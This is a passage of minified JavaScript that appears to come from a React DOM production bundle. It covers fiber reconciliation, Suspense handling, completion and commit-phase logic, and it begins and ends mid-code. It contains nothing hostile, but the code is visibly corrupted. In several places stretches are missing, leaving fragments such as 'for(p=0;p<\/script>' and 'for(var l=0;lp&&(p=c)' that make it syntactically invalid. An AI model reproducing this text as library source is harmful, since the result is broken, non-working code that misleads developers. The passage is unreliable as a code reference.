s.mode&1?(s.flags|=65536,s.lanes=p,s):(s===a?s.flags|=65536:(s.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(a=_s(-1,1),a.tag=2,Ia(n,a,1))),n.lanes|=1),s)}var bI=qs.ReactCurrentOwner,Cs=!1;function rs(s,a,n,l){a.child=s===null?ni(a,null,n,l):on(a,s.child,n,l)}function no(s,a,n,l,p){n=n.render;var e=a.ref;return ln(a,p),l=Dc(s,a,n,l,e,p),n=Ec(),s!==null&&!Cs?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,$s(s,a,p)):(J&&n&&Rc(a),a.flags|=1,rs(s,a,l,p),a.child)}function lo(s,a,n,l,p){if(s===null){var e=n.type;return typeof e=="function"&&!st(e)&&e.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(a.tag=15,a.type=e,Wi(s,a,e,l,p)):(s=Dl(n.type,null,l,a,a.mode,p),s.ref=a.ref,s.return=a,a.child=s)}if(e=s.child,!(s.lanes&p)){var c=e.memoizedProps;if(n=n.compare,n=n!==null?n:_n,n(c,l)&&s.ref===a.ref)return $s(s,a,p)}return a.flags|=1,s=ja(e,l),s.ref=a.ref,s.return=a,a.child=s}function Wi(s,a,n,l,p){if(s!==null){var e=s.memoizedProps;if(_n(e,l)&&s.ref===a.ref)if(Cs=!1,a.pendingProps=l=e,(s.lanes&p)!==0)s.flags&131072&&(Cs=!0);else return a.lanes=s.lanes,$s(s,a,p)}return _e(s,a,n,l,p)}function Bi(s,a,n){var l=a.pendingProps,p=l.children,e=s!==null?s.memoizedState:null;if(l.mode==="hidden")if(!(a.mode&1))a.memoizedState={baseLanes:0,cachePool:null,transitions:null},K($a,ys),ys|=n;else{if(!(n&1073741824))return s=e!==null?e.baseLanes|n:n,a.lanes=a.childLanes=1073741824,a.memoizedState={baseLanes:s,cachePool:null,transitions:null},a.updateQueue=null,K($a,ys),ys|=s,null;a.memoizedState={baseLanes:0,cachePool:null,transitions:null},l=e!==null?e.baseLanes:n,K($a,ys),ys|=l}else e!==null?(l=e.baseLanes|n,a.memoizedState=null):l=n,K($a,ys),ys|=l;return rs(s,a,p,n),a.child}function Gi(s,a){var n=a.ref;(s===null&&n!==null||s!==null&&s.ref!==n)&&(a.flags|=512,a.flags|=2097152)}function _e(s,a,n,l,p){var e=As(n)?Xa:os.current;return e=cn(a,e),ln(a,p),n=Dc(s,a,n,l,e,p),l=Ec(),s!==null&&!Cs?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,$s(s,a,p)):(J&&l&&Rc(a),a.flags|=1,rs(s,a,n,p),a.child)}function po(s,a,n,l,p){if(As(n)){var e=!0;sp(a)}else e=!1;if(ln(a,p),a.stateNode===null)xl(s,a),si(a,n,l),Te(a,n,l,p),l=!0;else if(s===null){var c=a.stateNode,t=a.memoizedProps;c.props=t;var o=c.context,i=n.contextType;typeof i=="object"&&i!==null?i=fs(i):(i=As(n)?Xa:os.current,i=cn(a,i));var I=n.getDerivedStateFromProps,d=typeof I=="function"||typeof c.getSnapshotBeforeUpdate=="function";d||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==l||o!==i)&&Lt(a,c,l,i),la=!1;var j=a.memoizedState;c.state=j,ep(a,l,c,p),o=a.memoizedState,t!==l||j!==o||js.current||la?(typeof I=="function"&&(Qe(a,n,I,l),o=a.memoizedState),(t=la||_t(a,n,t,l,j,o,i))?(d||typeof c.UNSAFE_componentWillMount!="function"&&typeof c.componentWillMount!="function"||(typeof c.componentWillMount=="function"&&c.componentWillMount(),typeof c.UNSAFE_componentWillMount=="function"&&c.UNSAFE_componentWillMount()),typeof c.componentDidMount=="function"&&(a.flags|=4194308)):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),a.memoizedProps=l,a.memoizedState=o),c.props=l,c.state=o,c.context=i,l=t):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),l=!1)}else{c=a.stateNode,$r(s,a),t=a.memoizedProps,i=a.type===a.elementType?t:vs(a.type,t),c.props=i,d=a.pendingProps,j=c.context,o=n.contextType,typeof o=="object"&&o!==null?o=fs(o):(o=As(n)?Xa:os.current,o=cn(a,o));var u=n.getDerivedStateFromProps;(I=typeof u=="function"||typeof c.getSnapshotBeforeUpdate=="function")||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==d||j!==o)&&Lt(a,c,l,o),la=!1,j=a.memoizedState,c.state=j,ep(a,l,c,p);var m=a.memoizedState;t!==d||j!==m||js.current||la?(typeof u=="function"&&(Qe(a,n,u,l),m=a.memoizedState),(i=la||_t(a,n,i,l,j,m,o)||!1)?(I||typeof c.UNSAFE_componentWillUpdate!="function"&&typeof c.componentWillUpdate!="function"||(typeof c.componentWillUpdate=="function"&&c.componentWillUpdate(l,m,o),typeof c.UNSAFE_componentWillUpdate=="function"&&c.UNSAFE_componentWillUpdate(l,m,o)),typeof c.componentDidUpdate=="function"&&(a.flags|=4),typeof c.getSnapshotBeforeUpdate=="function"&&(a.flags|=1024)):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),a.memoizedProps=l,a.memoizedState=m),c.props=l,c.state=m,c.context=o,l=i):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),l=!1)}return Le(s,a,n,l,e,p)}function Le(s,a,n,l,p,e){Gi(s,a);var c=(a.flags&128)!==0;if(!l&&!c)return p&&Dt(a,n,!1),$s(s,a,e);l=a.stateNode,bI.current=a;var t=c&&typeof n.getDerivedStateFromError!="function"?null:l.render();return a.flags|=1,s!==null&&c?(a.child=on(a,s.child,null,e),a.child=on(a,null,t,e)):rs(s,a,t,e),a.memoizedState=l.state,p&&Dt(a,n,!0),a.child}function Vi(s){var a=s.stateNode;a.pendingContext?zt(s,a.pendingContext,a.pendingContext!==a.context):a.context&&zt(s,a.context,!1),Sc(s,a.containerInfo)}function eo(s,a,n,l,p){return tn(),vc(p),a.flags|=256,rs(s,a,n,l),a.child}var Oe={dehydrated:null,treeContext:null,retryLane:0};function Pe(s){return{baseLanes:s,cachePool:null,transitions:null}}function fi(s,a,n){var l=a.pendingProps,p=z.current,e=!1,c=(a.flags&128)!==0,t;if((t=c)||(t=s!==null&&s.memoizedState===null?!1:(p&2)!==0),t?(e=!0,a.flags&=-129):(s===null||s.memoizedState!==null)&&(p|=1),K(z,p&1),s===null)return De(a),s=a.memoizedState,s!==null&&(s=s.dehydrated,s!==null)?(a.mode&1?s.data==="$!"?a.lanes=8:a.lanes=1073741824:a.lanes=1,null):(c=l.children,s=l.fallback,e?(l=a.mode,e=a.child,c={mode:"hidden",children:c},!(l&1)&&e!==null?(e.childLanes=0,e.pendingProps=c):e=Gp(c,l,0,null),s=Ya(s,l,n,null),e.return=a,s.return=a,e.sibling=s,a.child=e,a.child.memoizedState=Pe(n),a.memoizedState=Oe,s):Uc(a,c));if(p=s.memoizedState,p!==null&&(t=p.dehydrated,t!==null))return wI(s,a,c,l,t,p,n);if(e){e=l.fallback,c=a.mode,p=s.child,t=p.sibling;var o={mode:"hidden",children:l.children};return!(c&1)&&a.child!==p?(l=a.child,l.childLanes=0,l.pendingProps=o,a.deletions=null):(l=ja(p,o),l.subtreeFlags=p.subtreeFlags&14680064),t!==null?e=ja(t,e):(e=Ya(e,c,n,null),e.flags|=2),e.return=a,l.return=a,l.sibling=e,a.child=l,l=e,e=a.child,c=s.child.memoizedState,c=c===null?Pe(n):{baseLanes:c.baseLanes|n,cachePool:null,transitions:c.transitions},e.memoizedState=c,e.childLanes=s.childLanes&~n,a.memoizedState=Oe,l}return e=s.child,s=e.sibling,l=ja(e,{mode:"visible",children:l.children}),!(a.mode&1)&&(l.lanes=n),l.return=a,l.sibling=null,s!==null&&(n=a.deletions,n===null?(a.deletions=[s],a.flags|=16):n.push(s)),a.child=l,a.memoizedState=null,l}function Uc(s,a){return a=Gp({mode:"visible",children:a},s.mode,0,null),a.return=s,s.child=a}function Gl(s,a,n,l){return l!==null&&vc(l),on(a,s.child,null,n),s=Uc(a,a.pendingProps.children),s.flags|=2,a.memoizedState=null,s}function wI(s,a,n,l,p,e,c){if(n)return a.flags&256?(a.flags&=-257,l=te(Error(w(422))),Gl(s,a,c,l)):a.memoizedState!==null?(a.child=s.child,a.flags|=128,null):(e=l.fallback,p=a.mode,l=Gp({mode:"visible",children:l.children},p,0,null),e=Ya(e,p,c,null),e.flags|=2,l.return=a,e.return=a,l.sibling=e,a.child=l,a.mode&1&&on(a,s.child,null,c),a.child.memoizedState=Pe(c),a.memoizedState=Oe,e);if(!(a.mode&1))return Gl(s,a,c,null);if(p.data==="$!"){if(l=p.nextSibling&&p.nextSibling.dataset,l)var t=l.dgst;return l=t,e=Error(w(419)),l=te(e,l,void 0),Gl(s,a,c,l)}if(t=(c&s.childLanes)!==0,Cs||t){if(l=ss,l!==null){switch(c&-c){case 4:p=2;break;case 16:p=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:p=32;break;case 536870912:p=268435456;break;default:p=0}p=p&(l.suspendedLanes|c)?0:p,p!==0&&p!==e.retryLane&&(e.retryLane=p,Ps(s,p),Ks(l,s,p,-1))}return qc(),l=te(Error(w(421))),Gl(s,a,c,l)}return p.data==="$?"?(a.flags|=128,a.child=s.child,a=HI.bind(null,s),p._reactRetry=a,null):(s=e.treeContext,ms=ha(p.nextSibling),bs=a,J=!0,Hs=null,s!==null&&(Ws[Bs++]=Ts,Ws[Bs++]=Us,Ws[Bs++]=va,Ts=s.id,Us=s.overflow,va=a),a=Uc(a,l.children),a.flags|=4096,a)}function co(s,a,n){s.lanes|=a;var l=s.alternate;l!==null&&(l.lanes|=a),Ee(s.return,a,n)}function oe(s,a,n,l,p){var e=s.memoizedState;e===null?s.memoizedState={isBackwards:a,rendering:null,renderingStartTime:0,last:l,tail:n,tailMode:p}:(e.isBackwards=a,e.rendering=null,e.renderingStartTime=0,e.last=l,e.tail=n,e.tailMode=p)}function Yi(s,a,n){var l=a.pendingProps,p=l.revealOrder,e=l.tail;if(rs(s,a,l.children,n),l=z.current,l&2)l=l&1|2,a.flags|=128;else{if(s!==null&&s.flags&128)s:for(s=a.child;s!==null;){if(s.tag===13)s.memoizedState!==null&&co(s,n,a);else if(s.tag===19)co(s,n,a);else if(s.child!==null){s.child.return=s,s=s.child;continue}if(s===a)break s;for(;s.sibling===null;){if(s.return===null||s.return===a)break s;s=s.return}s.sibling.return=s.return,s=s.sibling}l&=1}if(K(z,l),!(a.mode&1))a.memoizedState=null;else switch(p){case"forwards":for(n=a.child,p=null;n!==null;)s=n.alternate,s!==null&&cp(s)===null&&(p=n),n=n.sibling;n=p,n===null?(p=a.child,a.child=null):(p=n.sibling,n.sibling=null),oe(a,!1,p,n,e);break;case"backwards":for(n=null,p=a.child,a.child=null;p!==null;){if(s=p.alternate,s!==null&&cp(s)===null){a.child=p;break}s=p.sibling,p.sibling=n,n=p,p=s}oe(a,!0,n,null,e);break;case"together":oe(a,!1,null,null,void 0);break;default:a.memoizedState=null}return a.child}function xl(s,a){!(a.mode&1)&&s!==null&&(s.alternate=null,a.alternate=null,a.flags|=2)}function $s(s,a,n){if(s!==null&&(a.dependencies=s.dependencies),Ha|=a.lanes,!(n&a.childLanes))return null;if(s!==null&&a.child!==s.child)throw Error(w(153));if(a.child!==null){for(s=a.child,n=ja(s,s.pendingProps),a.child=n,n.return=a;s.sibling!==null;)s=s.sibling,n=n.sibling=ja(s,s.pendingProps),n.return=a;n.sibling=null}return a.child}function kI(s,a,n){switch(a.tag){case 3:Vi(a),tn();break;case 5:li(a);break;case 1:As(a.type)&&sp(a);break;case 4:Sc(a,a.stateNode.containerInfo);break;case 10:var l=a.type._context,p=a.memoizedProps.value;K(lp,l._currentValue),l._currentValue=p;break;case 13:if(l=a.memoizedState,l!==null)return l.dehydrated!==null?(K(z,z.current&1),a.flags|=128,null):n&a.child.childLanes?fi(s,a,n):(K(z,z.current&1),s=$s(s,a,n),s!==null?s.sibling:null);K(z,z.current&1);break;case 19:if(l=(n&a.childLanes)!==0,s.flags&128){if(l)return Yi(s,a,n);a.flags|=128}if(p=a.memoizedState,p!==null&&(p.rendering=null,p.tail=null,p.lastEffect=null),K(z,z.current),l)break;return null;case 22:case 23:return a.lanes=0,Bi(s,a,n)}return $s(s,a,n)}var Ri,$e,Xi,vi;Ri=function(s,a){for(var n=a.child;n!==null;){if(n.tag===5||n.tag===6)s.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===a)break;for(;n.sibling===null;){if(n.return===null||n.return===a)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};$e=function(){};Xi=function(s,a,n,l){var p=s.memoizedProps;if(p!==l){s=a.stateNode,Va(Ds.current);var e=null;switch(n){case"input":p=me(s,p),l=me(s,l),e=[];break;case"select":p=E({},p,{value:void 0}),l=E({},l,{value:void 0}),e=[];break;case"textarea":p=ke(s,p),l=ke(s,l),e=[];break;default:typeof p.onClick!="function"&&typeof l.onClick=="function"&&(s.onclick=$l)}We(n,l);var c;n=null;for(i in p)if(!l.hasOwnProperty(i)&&p.hasOwnProperty(i)&&p[i]!=null)if(i==="style"){var t=p[i];for(c in t)t.hasOwnProperty(c)&&(n||(n={}),n[c]="")}else i!=="dangerouslySetInnerHTML"&&i!=="children"&&i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&i!=="autoFocus"&&(Jn.hasOwnProperty(i)?e||(e=[]):(e=e||[]).push(i,null));for(i in l){var o=l[i];if(t=p!=null?p[i]:void 0,l.hasOwnProperty(i)&&o!==t&&(o!=null||t!=null))if(i==="style")if(t){for(c in t)!t.hasOwnProperty(c)||o&&o.hasOwnProperty(c)||(n||(n={}),n[c]="");for(c in o)o.hasOwnProperty(c)&&t[c]!==o[c]&&(n||(n={}),n[c]=o[c])}else n||(e||(e=[]),e.push(i,n)),n=o;else i==="dangerouslySetInnerHTML"?(o=o?o.__html:void 0,t=t?t.__html:void 0,o!=null&&t!==o&&(e=e||[]).push(i,o)):i==="children"?typeof o!="string"&&typeof o!="number"||(e=e||[]).push(i,""+o):i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&(Jn.hasOwnProperty(i)?(o!=null&&i==="onScroll"&&M("scroll",s),e||t===o||(e=[])):(e=e||[]).push(i,o))}n&&(e=e||[]).push("style",n);var i=e;(a.updateQueue=i)&&(a.flags|=4)}};vi=function(s,a,n,l){n!==l&&(a.flags|=4)};function Bn(s,a){if(!J)switch(s.tailMode){case"hidden":a=s.tail;for(var n=null;a!==null;)a.alternate!==null&&(n=a),a=a.sibling;n===null?s.tail=null:n.sibling=null;break;case"collapsed":n=s.tail;for(var l=null;n!==null;)n.alternate!==null&&(l=n),n=n.sibling;l===null?a||s.tail===null?s.tail=null:s.tail.sibling=null:l.sibling=null}}function cs(s){var a=s.alternate!==null&&s.alternate.child===s.child,n=0,l=0;if(a)for(var p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags&14680064,l|=p.flags&14680064,p.return=s,p=p.sibling;else for(p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags,l|=p.flags,p.return=s,p=p.sibling;return s.subtreeFlags|=l,s.childLanes=n,a}function ZI(s,a,n){var l=a.pendingProps;switch(Xc(a),a.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return cs(a),null;case 1:return As(a.type)&&ql(),cs(a),null;case 3:return l=a.stateNode,rn(),S(js),S(os),Jc(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(s===null||s.child===null)&&(Wl(a)?a.flags|=4:s===null||s.memoizedState.isDehydrated&&!(a.flags&256)||(a.flags|=1024,Hs!==null&&(cc(Hs),Hs=null))),$e(s,a),cs(a),null;case 5:xc(a);var p=Va(qn.current);if(n=a.type,s!==null&&a.stateNode!=null)Xi(s,a,n,l,p),s.ref!==a.ref&&(a.flags|=512,a.flags|=2097152);else{if(!l){if(a.stateNode===null)throw Error(w(166));return cs(a),null}if(s=Va(Ds.current),Wl(a)){l=a.stateNode,n=a.type;var e=a.memoizedProps;switch(l[Js]=a,l[Pn]=e,s=(a.mode&1)!==0,n){case"dialog":M("cancel",l),M("close",l);break;case"iframe":case"object":case"embed":M("load",l);break;case"video":case"audio":for(p=0;p<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Ri(s,a,!1,!1),a.stateNode=s;s:{switch(c=Be(n,l),n){case"dialog":M("cancel",s),M("close",s),p=l;break;case"iframe":case"object":case"embed":M("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304)}else{if(!l)if(s=cp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Bn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*U()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,K(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return $c(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function WI(s,a){switch(Xc(a),a.tag){case 1:return As(a.type)&&ql(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),S(js),S(os),Jc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return xc(a),null;case 13:if(S(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return S(z),null;case 4:return rn(),null;case 10:return Fc(a.type._context),null;case 22:case 23:return $c(),null;case 24:return null;default:return null}}var Vl=!1,ts=!1,BI=typeof WeakSet=="function"?WeakSet:Set,V=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){Q(s,a,l)}}var to=!1;function GI(s,a){if(Fe=Ll,s=Kr(),Yc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var u;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(u=d.firstChild)!==null;)j=d,d=u;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(u=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=u}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Ke={focusedElem:s,selectionRange:n},Ll=!1,V=a;V!==null;)if(a=V,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,V=s;else for(;V!==null;){a=V;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,Z=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:vs(a.type,b),Z);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){Q(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,V=s;break}V=a.return}return m=to,to=!1,m}function Mn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Wp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Ni(s){var a=s.alternate;a!==null&&(s.alternate=null,Ni(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[rI],delete a[iI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Hi(s){return s.tag===5||s.tag===3||s.tag===4}function oo(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Hi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=$l));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function sa(s,a,n){for(n=n.child;n!==null;)Fi(s,a,n),n=n.sibling}function Fi(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(Ap,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,sa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ae(s.parentNode,n):s.nodeType===1&&ae(s,n),Tn(s)):ae(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,sa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}sa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}sa(s,a,n);break;case 21:sa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,sa(s,a,n),ts=l):sa(s,a,n);break;default:sa(s,a,n)}}function ro(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new BI),a.forEach(function(l){var p=FI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Xs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,gp=0,H&6)throw Error(w(331));var p=H;for(H|=4,V=s.current;V!==null;){var e=V,c=e.child;if(V.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-Oc?fa(s,0):Lc|=n),us(s,a)}function Ei(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=Ps(s,a),s!==null&&(tl(s,a,n),us(s,n))}function HI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Ei(s,n)}function FI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Ei(s,n)}var Qi;Qi=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||js.current)Cs=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return Cs=!1,kI(s,a,n);Cs=!!(s.flags&131072)}else Cs=!1,J&&a.flags&1048576&&_r(a,np,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;xl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Dc(null,a,l,s,p,n);var e=Ec();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,As(l)?(e=!0,sp(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,Mc(a),p.updater=kp,a.stateNode=p,p._reactInternals=a,Te(a,l,s,n),a=Le(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(xl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=MI(l),s=vs(l,s),p){case 0:a=_e(null,a,l,s,n);break s;case 1:a=po(null,a,l,s,n);break s;case 11:a=no(null,a,l,s,n);break s;case 14:a=lo(null,a,l,vs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),_e(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),po(s,a,l,p,n);case 3:s:{if(Vi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,$r(s,a),ep(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=eo(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=eo(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=ni(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=$s(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return li(a),s===null&&De(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Me(l,p)?c=null:e!==null&&Me(l,e)&&(a.flags|=32),Gi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&De(a),null;case 13:return fi(s,a,n);case 4:return Sc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),no(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,K(lp,l._currentValue),l._currentValue=c,e!==null)if(Ms(e.value,c)){if(e.children===p.children&&!js.current){a=$s(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=_s(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ee(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ee(c,n,a),c=e.sibling}else 